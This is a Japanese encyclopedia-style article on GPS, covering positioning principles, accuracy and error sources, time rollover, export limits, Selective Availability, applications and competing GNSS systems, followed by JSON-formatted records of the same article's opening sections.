民間利用が許されている暗号化されていないC/Aコードのデータを用いると、95%以上の確率で正確な緯度経度から10m以内の座標が得られる程度の精度となる。これは短時間での精度であり、長期間受信し続けることにより精密な測量も可能である。
GPSの測位方法は、コード(搬送波の変調)に基づく方法(コード測位方式)と、搬送波の位相に基づく方法(搬送波測位方式)に分けられる。一般にはコード測位が用いられているが、精密測位には搬送波測位が用いられる。
GPS受信機の測位精度には、原理的な誤差による要因・人為的要因などさまざまな要因がある。ここではその他の不具合も含め列挙する。
下記のうち誤差要因については、GPS受信機である程度推定し表示することができる。GPS受信機がある円内にいる確率が50%以上であるところの円を、CEP(Circular Error Probability)とよぶ。地図を表示する場合は、この円も同時に表示し利用者への参考としているものが多い。
また、基本的にGPSでの測位は平面座標に比べて高度の計算精度に誤差が大きい。
GPS衛星からGPS受信機まで電波が達する経路では、電離圏や対流圏での電波特性の変化により、若干の電波伝播速度の遅延が生じる場合がある。これによって、計算で定めたはずの空間上の一点の信頼性が損なわれる。一般的に受信機からみてGPS衛星が低仰角の場合、この誤差は増加する傾向がある。これは大気中を電波が伝播するときの遅延による影響が、高仰角(薄い大気を通過する)よりも低仰角(厚い大気を通過する)で大きいからである。またそもそも低仰角衛星からの信号は減衰が大きい。
このための補正手段として、正確な時計をもち座標のわかっている固定局を設置し、GPS受信データから計算した位置と固定局の位置の差から、精度を上げるなどの仕組み(ディファレンシャルGPS、Differential GPS、DGPS)も確立されている。DGPSの補正信号は、かつてFM放送の利用されていない帯域で送信するシステム(JFN系列の放送局で実施)があり、カーナビなどでの利用には有用であった(1997年5月〜2008年3月)。また、WAASやMSAS(MTSATを利用した日本の運用)では、静止軌道の衛星からDGPSの補正信号を各受信機に送信している(WAAS/MSAS静止衛星自体もGPS衛星同様、測位にも使われる)。
このほか、ビル街や谷山ではマルチパス(ひとつの衛星からひとつの受信機までの電波経路が反射によって多数存在すること。旧アナログテレビ放送におけるゴースト現象同様)により、信号の時間差が生じたりS/N比が低下し、精度が落ちる。
通常日本(本州)では、理想的に空がひらけている場合、受信可能な衛星は6〜10個程度である。位置の計算に最低必要な4個より多い衛星がみえている場合は、複数の衛星からの情報で測位精度を向上させることができる。それぞれの衛星からの信号強度(S/N比)を観測したりDGPS情報から衛星ごとの信頼度を与え、また4つ組みの取り方をなるべく計算誤差が大きく出ないように取ったり、さらに複数の測位結果の信頼度が低いものを棄却・平均化するなどの方法がとられる。
受信可能な衛星の個数・配置により、電波伝播の誤差が大きく利いてくる場合がある。原理での三脚での喩えを用いると、ある程度伸び縮みする三脚の頭が動く範囲(推定誤差範囲)は、三脚の脚の開き具合によって異なる。計算に用いる衛星のみかけの位置が接近していると、計算に用いる推定誤差が大きくなる(脚を閉じた三脚ではぐらつきが大きい)。また計算に用いる衛星が一直線に並んでいたりする場合は、ある方向への信頼度が大きく低下する(三脚の脚が縦に並んでいると横方向にぐらつきが大きい)。
GPSは原理的には最低4つの人工衛星が見えていることが必要であるが、空が開けていない場合などは、補助手段で精度を向上させることも可能である。当初のGPSの仕様に無い現象を使う方法(ドップラーシフトなど)、想定された定数を使う方法(地表や地図上の道路を移動していると仮定する)、他のセンサー類を使う方法(気圧計など)がある。
まず、GPS受信機内部の時計が正確な時刻に校正された後の一定時間は、時刻情報は内部の時計を用いて3つの衛星で3次元の位置を知ることができる(#原理参照)。しかし、もともとその時計が持っている誤差のため、これも数分で信頼できない時刻になってしまう。
また、地球の形が分かっており、地表(あるいは一定の高度)を移動していると考えられる場合、さらに1つの衛星からの距離を省略しても位置は求められる。地球の形(平均海面)は球体ではなく赤道付近が膨らんだ回転楕円体(扁球)であることは知られているが、これをよく近似した3次元曲面(WGS84など)を多くのGPS受信機がデータとして持っている。
さらに受信機のドップラーシフトを観測すると、C/A信号の1ビット送信時間未満の距離の観測もできる。衛星と受信機の距離が接近または乖離している場合、ドップラー効果により受信周波数の上昇または低下(これは信号の位相変化として観測される)がおきる。これを用いれば、受信機が等速直線運動しかしていないか、それ以外の方向に動いたかも推定できる(1つないし2つの衛星からの信号でもある程度の位置は推定できる)。なお長時間の位相観測によりC/A信号の精度限界以上に精度を上げる方法は、測地用のGPS受信機などでも用いられている。
またカーナビやスマートフォンなどでは、GPSで定期的に位置を決定し、ジャイロ・加速度センサから得られる情報で、自律位置推定している物もある。この場合GPS信号を受信できない状態(トンネル内に入ったとき)も、ある程度の位置は分かる。航空機の慣性航法装置と同様であるが、精度は低いため、複雑な移動や時間経過によって位置の信頼性は落ちる。
現在高度の情報が要求される登山用のGPS受信機では、気圧高度計で高度方向の位置推定の補助手段としたり、磁気コンパスを併用するものもある。空間の (x, y, z) 方向の誤差は均等であるが、前述のようにGPS受信機の多くは地表に沿って動くことを想定しており、地表に沿った方向の位置推定の精度を上げる代わりに高度方向の位置推定を犠牲にしているためである。詳細な地形図情報とGPS信号を組み合わせて現在高度を求めるものもあるが、階層には対応できない。
モバイル機器に搭載のGPSでは、携帯電話の基地局の位置情報(精度数百m〜数km程度)を補助情報として用いることができる。このため初期捕捉を速くしたり、高速移動時に衛星を見失わないための補助手段とすることができる。他にネットワーク通信を利用して、位置演算やGPS情報等を補正し高速化を図っている。(補助GPS)
GIS情報を補助手段として用いる場合もある。カーナビでは地図を搭載しているため、道路情報と照らし合わせることで誤差を修正しているものもある(車は道路以外を走れない・水面を走れない、などという制約を利用している)。
GPS受信機に経緯度を直接入力してナビゲーションする場合、測地系を整合させる必要がある。(例えば、WGS84もしくは日本測地系を選択)
受信機側での信号処理には、さまざまな要因によるものが含まれるが、高速で運動するGPS衛星の運動による発振信号の時間の遅れと、地球の重力場による時間の遅れである。後者は、衛星軌道の擾乱や信号到達距離の湾曲、発振信号の時間の遅れなどを引き起こす。 地上の時計は、GPS衛星の時計よりわずかに遅れるので、GPS衛星の時計は、これを補正するため遅く進むように設計 されている。この時間の遅れは相対論効果を考慮した計算結果と高い精度で一致しており、身近な相対性理論効果の実証の一つとして挙げられる。
GPS時刻(GPSの基準時刻系)はUTCの1980年1月6日午前0時(TAI−19秒)を開始時刻(基準)とし、その後は、UTCのような閏秒調整は施されない。したがって、現在、GPS時刻はUTCから18秒進んでいる(2020年1月現在)。
しかし、このGPS時刻とUTCとの差はGPS信号の中に含まれているため、受信機ではこの差を補正してUTC時刻を出力することができる。このUTCとのオフセット信号は255(8ビット)の値まで持てるため現状の閏秒挿入のペースであれば2300年頃まで問題ないと考えられる。
GPS時刻では日時を、起点から○週○秒経過と、「週」と「秒」だけで表現する。この「週」データが10ビットで管理されているため、1023までしかカウントできず、1024週目は0に戻る。
そのため、0週目で経過秒数が0秒の場合、これが1980年1月6日なのか1999年8月22日なのか2019年4月7日なのかをGPSデータだけでは区別することができず、受信機側で適切に解釈しなければいけない。ソフトウェアの更新で対応されることもあるが、10年以上前の製品に対しては更新が提供されないことも多く、約20年前の日付に戻ってしまうことを回避する手段がない場合もある。
将来は、GPSの衛星システムを更新する「GPS近代化」により週データに13ビット割り当てられるようになり、ロールオーバーの発生は8192週(約157.5年)に1回に改善される。この場合、最初のロールオーバーは2137年1月6日頃の予定である。(閏秒の影響により正確な時刻は未定)
対共産圏輸出統制委員会(ココム)規制の名残で高度18,000 m (59,000 ft)以上、速度1,900 km/h以上では大陸間弾道ミサイルのような用途への搭載を防ぐために使用できない。
また、慣性航法装置を複合したGPS端末には規制がある。
近年では、ワッセナー・アレンジメントがココム規制を継承している。
ただし、専用チップを用いずソフトウェア無線、FPGAやオープンソースのプログラムを用いる機器も製作・販売されており、これらの機器を使用することで規制を回避できる。例として、GNSS-SDRやRTKLIBとしたオープンソース・ソフトウェアがあり、地デジ用USBチューナを使って取得したGPS信号をパソコン上で解析して測位することさえ可能である。
1990年から2000年までは、アメリカ軍の軍事上の理由(敵軍に利用されることを防止する)で、C/Aコードにおいて民間GPS向けのデータに対して、故意に誤差データを加える操作(Selective Availability、略称 SA)が行われ、精度が100m程度に落とされていた。
SAが加えられていた時から、既にGPSは民生用として有用であることが知られていたため、2000年5月2日4時5分(協定世界時)から、アメリカ合衆国大統領ビル・クリントンは「GPS技術を広く役立てて欲しい」という主旨で、これを解除した。競合技術であるガリレオ(EUが主体となって推進している)が提案された理由のひとつに、GPSのSAによる誤差により、民生用で精度が上がらないということがあるが、これに対して優位を保ち続け、イニシアチブを取るというアメリカ合衆国連邦政府の意図も含まれている。また民間GPS機器の軍事転用により、調達コストを抑える目的もあると見られている。SA解除以降は、民間GPSでもC/Aコードの技術的な限界までの精度が得られるようになっている。
2000年以降は、米国の政策上の必要に応じて、有事があった際に特定地域で精度低下の措置がとられる可能性があるとされていた。しかし、ジョージ・W・ブッシュとアメリカ国防総省は2007年9月18日に、次世代GPS(GPS III)にはSA機能を搭載しない(正確には、「SAを持つ衛星を調達しない」)との大統領令を発表した。したがって、この決定が将来覆されない限り、SAの操作は永久に実施されないこととなった。
多くの天文観測設備では、天体追尾にGPSに同期させることで補正するクォーツ時計やルビジウム時計を用いている。このため、アメリカ合衆国が秘密裏にSAを加えようとしても、少なくともSAが加えられたこと自体はエラーとして検出される。
民生用GPS受信機は当初航空機、船舶、測量機器、登山用(携帯型)に利用されてきたが、その後は自動車(カーナビゲーション・システム、以下カーナビ)や携帯電話にも搭載されている。
2018年現在では、ほぼ全ての携帯電話やスマートフォンにGPSが搭載されている。この種の製品では、地図情報・GIS情報をサーバ側にもつことにより詳細な最新の地図を提供したり現在地周辺の付加サービス を実現している。また情報を送信できないGPSと送受信機である携帯電話を組み合わせ、セキュリティ(児童保護や徘徊老人対策、犯罪者の監視等)への応用も拡がっている。
GPSの測位情報を継続的に記録したトラッキング情報は、ランニング、登山、ツーリング等で活発に活用されている。
デジタルカメラでは、撮影記録と共に画像ファイルのExifフィールドに自動的に撮影地の緯度・経度・時刻などが記録されるものもあり、スマートフォンで撮影した画像も撮影地点を自動で記録しているものがある。
現在の携帯電話ではA-GPS(Assisted Global Positioning System)を利用してGPS信号を受信し難い場所でも携帯電話の基地局情報を参考として測位までの時間の短縮を行っているものが多い。GPSチップ・携帯電話搭載のプロセッサの能力が低かった時代は、GPS情報をホストサーバーに送り、緯度・経度・高度情報を携帯端末に送り返してもらうというシステムも存在した。
また、警察、消防へ緊急連絡をした場合、通報を受けた側から発信者へGPS情報の送信を促し、現在位置の早期発見に繋げている。
民間企業や官公庁ではGPS機能用いて人員や車両配備の効率化を図る利用法が進められており、各国の官公庁にもGPSを用いた公務員管理を導入する動きがある。
その他、ノート型のPCやタブレット、携帯ゲーム機をカーナビとして使えるようにするGPSユニットとソフトも発売されている。なお単体のGPSユニットは、測位等はすべてユニット内で完結しており、NMEAなどの標準フォーマットで緯度・経度その他の情報を送り出すものが多い。PCやPDA本体ではこれを受信し、地図ソフトなどと組み合わせてカーナビ同様に使ったり、トラックの記録をすることができる。PCやPDAの接続も、かつてはシリアルポート接続やPCMCIA(PCカード)・CFカード規格が多かったが、現在はBluetoothで測位情報を本体に転送するものもある。
船舶にとってGPSは重要な航法支援設備である。航空機同様、陸から離れたら目印をもたない海上において、遭難・衝突や座礁を免れるために、精度の良い航法支援システムを利用することは重要であった。そもそもGPSはロラン-Cに取って代わるためにつくられたシステムである。
カーナビゲーションはGPSの実装において技術的に有利な応用である。自動車は安定した電源が供給でき、GPS用アンテナを良い位置に設置できる。携帯電話と比較して大型の装置が搭載できるため、詳細な地図情報を内蔵できる。
また、速度規制取り締まりやシートベルト着装取り締まり等を頻繁に行っている場所の緯度・経度をデータとして持ち、その近辺で警告を発する機器も存在する(レーダー探知機の項を参照)。
従来の航空機航法は、VOR・DMEなどの地上航法支援施設を用い、いわば電波の灯台への方位・距離を測定して現在位置を知る方法だった。これに対し、衛星が4個以上見えていればある程度の精度で絶対位置がわかるGPSは、航空機向けの測位方式であるとも言える。
しかしながらGPS信号をそのまま航空航法に使用するには、測位の安全性・信頼性・精度等に問題がある。具体的には、低高度、特に精度がもっとも必要とされる着陸寸前の地形による遮蔽・マルチパス、機体の姿勢変更に伴いロックした衛星(測位に用いている衛星)が変化すること、一般にGPSによる測位では航空機にとって重要な高度方向の精度が緯度・経度方向の精度より低いこと(ただしこれは計算方法にもよる)、ジェット機などは高速移動するためドップラーシフト・衛星コンステレーションの時間的変化が無視できないこと、などである。
ただし、大型機ではINS(慣性航法装置)や従来の測位方式などと併用すること、小型機ではVFR(有視界飛行方式)が主であることなどから、実際の運用では(制度上は認められていないものの)機長判断の参考として用いられている場合が多かった。
こういった流れを受けて、また近年では航空機運航の高密度化により定められた航空路以外の経路を飛ぶための一手段として、GPS情報を航法に利用することが国際民間航空機関(ICAO)や国土交通省航空局(JCAB)でも検討されてきた。その成果として日本では、一部の空港の離着陸手順においてRNAV (GPS) 航法の実施が2007年9月27日より開始された。航空機はウェイポイントとよばれる架空の点を結ぶ線を経路とするように飛行する。従来のVOR/DME航法では、VOR/DMEの位置、あるいは1つまたは2つのVOR/DMEから一定の方位角・距離にある架空の点をウェイポイントとしていた。これに対しRNAV航法では、地上施設に拠らない自由な点をウェイポイントとして定めることができるため、飛行経路の短縮による運航時間の短縮、燃費の節約などが見込まれる。
航空機での精度向上を一次目的とした、静止衛星型衛星航法補強システム(SBAS: Satellite Based Augmentation System)の運用が以下の各国で開始され、あるいは計画されている。
SBASでは、GPS衛星の補正情報(特に高度情報の補正)や信頼性情報を送信し、またSBAS衛星自体も測位のためのひとつの衛星として働く。さらにSBAS衛星は静止軌道にあるため、中〜低緯度地方では天頂に近い高仰角でみえているのも有利な点である(北緯35度では仰角55度)。航空以外の分野でも、例えばビル街でのカーナビの精度向上にも役立つと考えられている。SBASを補助情報として用いることができるGPS受信機はすでにSBAS対応(WAAS対応)受信機として広く普及し始めている。
日本のMSASについては、航空機でのRNAV運用に伴い、2007年9月27日から試験信号フラグ(MT0)が運用モード(MT2)となり、正式に供用開始となった。ただし初期のWAAS対応機など一部のSBAS対応受信機では、MSASの衛星番号を設定・処理できないため測位に利用できないものがある。
航空航法にあっては、用途によって最低精度が定められていることがある。GPS衛星の配置や運用停止などの都合上、飛行中に航法が求める精度を満足できない空域がある場合は、その空域にてGPSを航法に用いることができない。そのような空域や時間帯を飛行前ないしは飛行中に予測することをRAIM予測と言う。RAIM予測の結果GPSに依存する航法が使用できない場合は、VORなどの他の航法に切り替える必要がある。
科学技術分野では、もちろん国土の形状を明らかにしたり、cm単位で地球の動きを知り地震予知に役立てるなどの、いわばGPS本来の用途のほかに、トラッキングや時刻の高精度同期などにも利用されている。
大型の渡り鳥にGPS発信機を装着して、その渡りの過程を追跡することに利用されている。山階鳥類研究所は絶滅が危惧されているアホウドリの繁殖活動を行っており、その一環として伊豆諸島の鳥島で生まれたアホウドリを聟島へ移住させて繁殖地の拡大を図っているが、そのうちの7羽にGPS発信機を装着してその後の足取りを追跡した。その中の1羽がカムチャッカ半島、アリューシャン列島、アラスカ湾、カナダ西海岸を経由してアメリカ・カリフォルニア州のサンフランシスコ沖に辿り着いていることが人工衛星による追跡で判明し、現地での写真撮影によりその個体が確認された。アホウドリの2万km以上におよぶ渡りの経路の詳細がGPSの技術により明らかになった。また、同じく追跡が困難な海洋生物にも装着して研究に役立てている。
このほか、位置が既知の基地局で高精度にGPS測位を行い、その誤差情報からGPS電波伝播経路の大気の状態を知るGPS気象学なども実用化を目指して研究されている。
GPS衛星搭載の原子時計からの時計情報も、科学分野を中心に広く活用されている。GPSの時計情報はGPS衛星に搭載されている原子時計の精度とほぼ一致し、クォーツ時計の精度よりもはるかに高い。そのため、野外で正確な時刻を知る必要がある場合や、複数点で時計情報を高精度で一致させる(同期する)ために用いられる。
GPS本来の目的である位置決定とは異なる利用法であるが、特に地球科学や土木工学分野に大きな効果を与えている。地震を監視し震源を高精度に決定するためには、広範囲に多数設置された地震計すべての時計を秒未満の精度で一致させ、かつ数ヶ月から数年間にわたりその状態を維持する必要がある。そのために従来はJJYを同時に記録し時刻を記録していたり、各地震計に原子時計を接続する必要があり、費用負担が大きかった。しかしGPS受信機を接続することにより、GPS衛星からもたらされる高精度の時計情報を受信できるようになったため、すべての地震計を容易に時刻同期させることが可能となった。
コンピュータの時刻をインターネットで高精度に同期させるプロトコルであるNTPサーバでは、大元となる超高精度のサーバ(stratum 0)は従来、構築が容易ではなかったが、GPS受信機との接続により、比較的容易にstratum 0サーバを構築できるようになった。この目的においてGPS受信機を使用する場合、時刻の同期成立時に1PPS(正確に1秒毎に発生するパルス)信号を生じる受信機を使用し、NTPサーバ本体の時刻をGPS受信機に同期させる実装が多い。
窃盗や誘拐の特定の物や人物に対する犯罪を防止するために、GPSが活用されている。例えば、建設機械は高価な機械で野外に置いてあり、しかも開発途上国で需要が高いため、先進国で窃盗されることが多いが、製造企業がGPSで現在位置を報告する装置を一台ごとに組み込んだところ、窃盗された建機の位置を特定し、犯人が検挙された事例が報道され、建機の窃盗が減っている。
また、児童に対する犯罪が社会的関心が高まる中で、保護者が児童の位置を管理し、誘拐など犯罪を防止するために、GPS付の携帯端末が販売されており、一部の携帯端末(mamorino等)は警備会社と提携して、問題行動があれば保護者に代わりに即応できる体制のサービスも提供されている。その応用で、GPS携帯端末を徘徊行動をする認知症患者や、一人暮らしもしくは持病のある高齢の親に持たせて、何かあった場合に位置を確認して親族が保護したり、警備員が駆けつけるサービス を利用して保護している家庭もある。それ以外に重要なモノを管理するために活用したり、児童や高齢者同様、成年男性や女性の居場所を探すために利用されている。しかし、これらの機能がストーカー犯罪に悪用されている事件も発生している。
性犯罪者の再犯を防止するための電子監視が、アメリカ合衆国や、イギリス、フランスなどヨーロッパや大韓民国で既に導入されており、日本でも導入の検討がなされているが、人権蹂躙という指摘もある。
2006年6月、警察庁は全国の警察に通達した運用要領の中で、GPSを使用した犯罪捜査実施状況を容疑者に伝えず、捜査書類にも記載しないなどと明記し、秘密保持の徹底を求めていたことが報道された。この中で、GPSを仕様した捜査の具体的な実施状況については、文書管理を含めて秘密保持を徹底することとし、「容疑者の取り調べではGPSを用いたことを明らかにしない」「捜査書類にはGPSの存在を推知させるような記載をしない」「事件広報の際はGPSを使用した捜査を実施したことを公にしない」ことを厳命していた。
2023年5月10日、保釈された被告にGPS搭載端末を装着できる制度の新設を盛り込んだ改正刑事訴訟法が参議院本会議で可決、成立した。カルロス・ゴーン被告のレバノン逃亡事件を受けた措置で目的は海外逃亡防止に絞られており、実際の運用は限定的になる見込み。
勿論、本来の目的である軍事用途においてもGPSは活用されている。湾岸戦争やイラク戦争では、アメリカ軍の地上部隊はGPSのおかげで、何の目印もない広大な砂漠での正確な進軍を可能にした。誘導爆弾もGPSを利用したタイプ(JDAMや、M982 エクスカリバーなど)が登場し、安価でレーザーによる誘導操作が不要である反面、命中精度でレーザーなどに劣る事や標的座標エラーによる誤爆の危険がつきまとう問題点がある。また無人航空機(ドローン)の自律運用においても大きな役割を果たしている。
従来水晶振動子を用いて生成していたPLLの基準信号をGPSの受信信号に置き換えることにより、PLLの要素機能をほぼそのまま流用しながら、GPS信号とほぼ同等の精度および安定性を持つ高周波信号の発振回路を作ることが出来る。このような回路はGPSDOと呼ばれ、基準信号であるGPS信号と同じく時刻および周波数基準に使用されたり、QRSS等の超狭帯域無線通信(おおむね数Hz以下)の信号生成に用いられる。GPSの受信信号としては、時刻同期時に得られる1PPS信号を用いることが多い。
携帯電話(CDMA2000・WiMAX・TD-LTE)やPHSの基地局では、基地局間の同期にGPSタイミング基準信号(1PPS信号)を利用することが規格で定められている。これらの用途では、GPS由来の高精度の周波数が、周波数やサブキャリアの正確な分割に不可欠となっている。
GPSは現在地を明確にする場合に用いられることが多いため、移動する機器に装着されているが、以下に示す例はその逆である。
国土地理院は、日本列島のあらゆる地点にGPSを定期的に受信する電子基準点を設置し、地殻の変化を3次元的に詳細に観測することができる。2011年の東北地方太平洋沖地震(東日本大震災)では、1メートル以上の地盤沈降や、5メートル以上の水平移動が観測されている。
以下の言説は、すべて誤解である。
「GPS信号」とはGPS衛星が発している電波のことであり、受信機が発する信号は「GPS情報」である。 GPS衛星は、地球に向けて時報と発信元衛星の天体暦(軌道)情報を発しているのみの衛星である。GPS受信機はGPS衛星からの電波を受信して、GPS衛星それぞれとの距離を算出しているに過ぎない。
また、方位についてはGPSコンパスと呼ばれるような機能によって、ある程度離した二つ以上のアンテナによって受信したGPSの位相信号と、そのアンテナたちの相対的な位置関係から方位を算出することができる。しかし、その機能を実装していない多くの製品においては、ジャイロ機構や方位コンパスを使用していない場合、静止している受信機器の向いている方位を知ることはできない。なお、進行方向については移動しながら累積した複数の位置座標から、ある程度求める事が出来る。
GPS受信機は、基本的に送信機を保有していないため、位置情報をGPS衛星に通知するのは原理上そもそも不可能である。つまり、GPS受信機は受信するだけ、GPS衛星は送信するだけなのである。映画等で見られる「超小型GPS」と扱われるものは、その受信したGPS信号を何かしらの形で送信する機能まで有している必要があり、正確な位置を測位するには、上方から見やすい箇所に設置しなければならない。車両下部や梱包荷物内に取り付けたりすることは理想的ではなく、また建物内では窓等からのGPS信号を受信し、障害物の乱反射によって位置精度は大きく落ちてしまう。また、地下での測位はGPSだけでは不可能である。電波強度と衛星数の問題なので、受信機が小型高性能化しても解決できない。
日本の航空運送事業者の旅客機の機内では、GPS受信機の使用制限はない が、多くのGPS受信機は通信機器を併用しているため注意が必要である。
この誤解の元となった技術に、運輸業などの車両位置監視システムや、児童・徘徊老人のセキュリティシステムなどがあるが、これらではGPS受信機の位置情報を外部に通知するために、携帯電話回線等による別回線での通信を行っている。運輸される荷物にGPS受信器が装着されていることはなく、該当する荷物を搭載しているトラックの位置情報が提供されている。
2008年2月5日に岡山市で現金自動預け払い機(ATM)が盗まれた事件では、事件発生後約45分でGPSによって盗難ATMを発見するという成果を挙げている。この事例でも、機器に組み込まれた携帯電話モジュールで、警備会社への位置情報を通報をしていた。
GPSは、元来は米軍の軍用システムであり、米国政府の支配下にある。そのため、精度や可用性その他について、また他国や民間における利用に対して、種々の制限を受ける事が過去にもあり、また将来的にも有り得る。そのため、米国のシステム依存からの独立や、自身の利益に適合させる目的で、各国でも独自のシステムを保有、運用しようとする動きがみられる。
それでもGPSは、2010年台において世界中で最も普及している衛星航法システムであり、マルチGNSSを採用した利用者受信機でも、"GPS"が衛星測位システムの代名詞的に総称される場合もある。
各国でもGPSと同様、類似したシステムを運用開始している事から、従来GPSが独占してきた分野および用語は、「全地球衛星測位システム、全地球衛星航法システム(GNSS:Global Navigation Satellite System)」として一般化される事となった。
また、全地球にかぎらず日本の準天頂衛星システム(QZSS)、インドのインド地域航法衛星システム(IRNSS)などの地球的地域限定のシステムも構築されており、これらは全地球型システムと組み合わせて使用する事を想定している。
2020年頃までには代表的なGNSS(GPS、GLONASS、ガリレオ、北斗/Compass)がいずれも全地球的運用開始が見込まれる事から、「マルチGNSS」対応の受信機も開発、利用されている。2015年前後のスマートフォンはGPS/GLONASSマルチ対応の物が多い。
なお以下に列挙する各国のGNSSのほかにも、ナイジェリア、トルコなどにも他の衛星ナビゲーションシステムの開発の動きがある。
北斗1は、3機の衛星で構成される実験的な衛星測位システムで、中華人民共和国周辺でのみ使用される。北斗2は現在構築中で、完成時には35機の衛星で構成される「全地球測位システム」になる予定である。
旧ソ連は米国との対抗上、GPSと同様のGLONASS(グロナス)を構築しようとしたが必要な衛星を全て打上げる前にソ連が崩壊してしまい、予算の縮小から衛星打ち上げが頓挫した。ロシアになってから計画が再開され、2005年には再開後初の衛星を打ち上げ、2010年までに24基の衛星を打ち上げる予定とされる。2011年には全世界で測位可能となり、現在は測位精度を高めるためにGLONASSとGPSを併用する受信機が登場している(GLONASS#受信機も参照のこと)。
GPSを使用する上で米国に頼ることを嫌ったEUは独自のGalileo(ガリレオ)を計画、中華人民共和国も計画に参加している(後に離脱)。2005年にはロシアのソユーズロケットを用いて最初のジオベ衛星を打ち上げた。2016年末に全地球運用開始。
IRNSSシステムは、7機の衛星と地上局から構成される。7機のうち3機の衛星は、それぞれ東経34度、83度、132度の静止軌道に配置される予定で。残り4機のうち2機(IRNSS-1A、IRNSS-1B)は軌道傾斜角29度を有する東経55度の静止軌道へ配置される。残り2機は軌道傾斜角29度を有する東経111度の軌道へ配置される予定。
準天頂衛星システムQuasi-Zenith Satellite System(QZSS)は日本で構築された7機の衛星が交代で待機するシステムでGPSを補完する。
2010年9月11日に技術実証のための準天頂衛星初号機みちびき(QZS-1)が打ち上げられた。その後2017年に2,3,4号機が打ち上げられ、2018年11月1日にサービスを開始した。
なお、2023年までに衛星を更に3機追加し、7機体制での運用を行うことが閣議決定されている。 | [
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"text": "グローバル・ポジショニング・システム(英語: Global Positioning System, Global Positioning Satellite, GPS、全地球測位システム)とは、アメリカ合衆国によって運用される衛星測位システム(地球上の現在位置を測定するためのシステムのこと)を指す。",
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"text": "ロラン-C(Loran-C: Long Range Navigation C)システムの後継にあたる。",
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"text": "アメリカ合衆国が打ち上げた約30個のGPS衛星のうち、上空にある数個の衛星からの信号をGPS受信機で受け取り、受信者が自身の現在位置を知るシステムである。",
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"text": "1973年にアメリカ国防総省の軍事プロジェクトとして開始され、最初の試験衛星は1978年に打ち上げられた。元来その利用は軍事用途に制限されていたが、1983年の大韓航空機撃墜事件発生後、民間機の安全な航行のため民間利用にGPSを開放する事がレーガン大統領により表明された。その後、民生運用に足る精度を満たした「初期運用宣言」は1993年に、軍事運用可能な精度を満たした「完全運用宣言」は1995年に成された。",
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"text": "GPSは地上局を利用するロラン(LORAN)-Cと異なり、受信機の上部を遮られない限り、地形の影響を受けて受信不能に陥る事が少ない。",
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"text": "GPS衛星からの信号には、衛星に搭載された原子時計からの時刻のデータ、衛星の天体暦(軌道)の情報などが含まれている。受信機はGPS衛星からの電波を受信し、その発信時刻を測定し、発信と受信との時刻差に、電波の伝播速度(光速)を掛けることによって、その衛星からの距離がわかる。受信機座標(3次元空間上の点)はこれらから求められる。",
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"text": "ただし多くのGPS受信機に搭載されている時計では精度が不足し、そのままでは受信時刻値は不正確となる。そこで、多くの受信機の測位計算では、4つ以上のGPS衛星からの電波を受信し、受信機座標に加え受信時刻も未知数とする形で求める。",
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"text": "GPS衛星は約20,000kmの高度を一周約12時間で動く準同期衛星である(静止衛星ではない)。いくつかの軌道上に打ち上げられた30個ほどの衛星コンステレーションで地球上の全域をカバーできる。また中地球軌道なので信号の送信電力としても有利であり、ある地域からみても刻々と配置が変化するため、全地球上で誤差を平均化できる(地域によってはカバーする衛星の個数が常に少ない場合もある)。",
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},
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"text": "慣性系を仮定すると、光速 c {\\displaystyle c} は一定である( c {\\displaystyle c} =2.99792458 × 10 m/s)。",
"title": "原理"
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"text": "GPS衛星と受信機がともに正確とみなせる時計をもっていれば、GPS衛星 i {\\displaystyle i} からの信号送信時刻(受信機測定から得る) T i {\\displaystyle T_{i}} と受信時刻 t {\\displaystyle t} の差にcを掛け、伝播距離が得られる。",
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"text": "したがってGPS衛星 i {\\displaystyle i} の位置を座標 ( X i , Y i , Z i {\\displaystyle X_{i},Y_{i},Z_{i}} )、受信機の位置を ( x , y , z {\\displaystyle x,y,z} ) とすると、伝播距離は下記の関係式を満たす。",
"title": "原理"
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"text": "なおGPS衛星の位置を得るには、受信データに重畳された航法メッセージ信号を復調し、送信時刻 T i {\\displaystyle T_{i}} と組み合わせて求める。",
"title": "原理"
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"text": "受信時刻 t {\\displaystyle t} はGPS受信機の時計の値であり、もしそれが正確ならば、受信機の位置である三つの変数(未知数) x , y , z {\\displaystyle x,y,z} を得るために、意味が異なる最低三本の連立方程式があれば良い。",
"title": "原理"
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"tag": "p",
"text": "しかしGPS受信機の時計はそれほど正確ではなく、受信時刻 t {\\displaystyle t} も未知数とする必要がある。4つの未知数( x , y , z , t {\\displaystyle x,y,z,t} )を求めるためには、4つ以上の衛星から受信することが必要となる。",
"title": "原理"
},
{
"paragraph_id": 15,
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"text": "GPS衛星からの情報を変調する方式であるSS(spread spectrum)変調方式(CDMA:code division multiple access方式などともよばれる)は、人工的に作った(真の乱数と区別が付かない)コードである擬似雑音系列に送信データを掛けて送信信号を生成する。",
"title": "原理"
},
{
"paragraph_id": 16,
"tag": "p",
"text": "このため、FMやAM変調などに比べて広いバンド幅で低電力で送信でき、秘話性(擬似雑音系列がわからなければデータを復調できない)や秘匿性(白色雑音と区別がつかないため送信していること自体がわからない)、同一バンドを異なる擬似雑音系列で多重利用できることなどの特徴がある。",
"title": "原理"
},
{
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"text": "擬似雑音系列の開始位置の時刻を定めておけば、復調時に精度よく送出時刻を知ることができることも特徴のひとつで、測距の基礎となっている。",
"title": "原理"
},
{
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"tag": "p",
"text": "GPSではこれらの特徴を活かして測位とデータ(天体暦(軌道)の情報などが含まれる)の送信を同時に行っている。",
"title": "原理"
},
{
"paragraph_id": 19,
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"text": "GPS衛星からのL1電波(1.57542GHz)には公表されているC/Aコードを擬似雑音系列に用いた信号と、公表されていない擬似雑音系列であるP(Y)コードの2種類の信号が載せられている。P(Y)コードは軍事目的を想定しており、系列の生成多項式の次数が大きい(擬似雑音系列が一巡するのに長時間かかる)ため、精度は非常に高く(16cm程度)、ミサイルや誘導爆弾の誘導に用いられている。",
"title": "原理"
},
{
"paragraph_id": 20,
"tag": "p",
"text": "民間利用が許されている暗号化されていないC/Aコードのデータを用いると、95%以上の確率で正確な緯度経度から10m以内の座標が得られる程度の精度となる。これは短時間での精度であり、長期間受信し続けることにより精密な測量も可能である。",
"title": "原理"
},
{
"paragraph_id": 21,
"tag": "p",
"text": "GPSの測位方法は、コード(搬送波の変調)に基づく方法(コード測位方式)と、搬送波の位相に基づく方法(搬送波測位方式)に分けられる。一般にはコード測位が用いられているが、精密測位には搬送波測位が用いられる。",
"title": "原理"
},
{
"paragraph_id": 22,
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"text": "GPS受信機の測位精度には、原理的な誤差による要因・人為的要因などさまざまな要因がある。ここではその他の不具合も含め列挙する。",
"title": "精度"
},
{
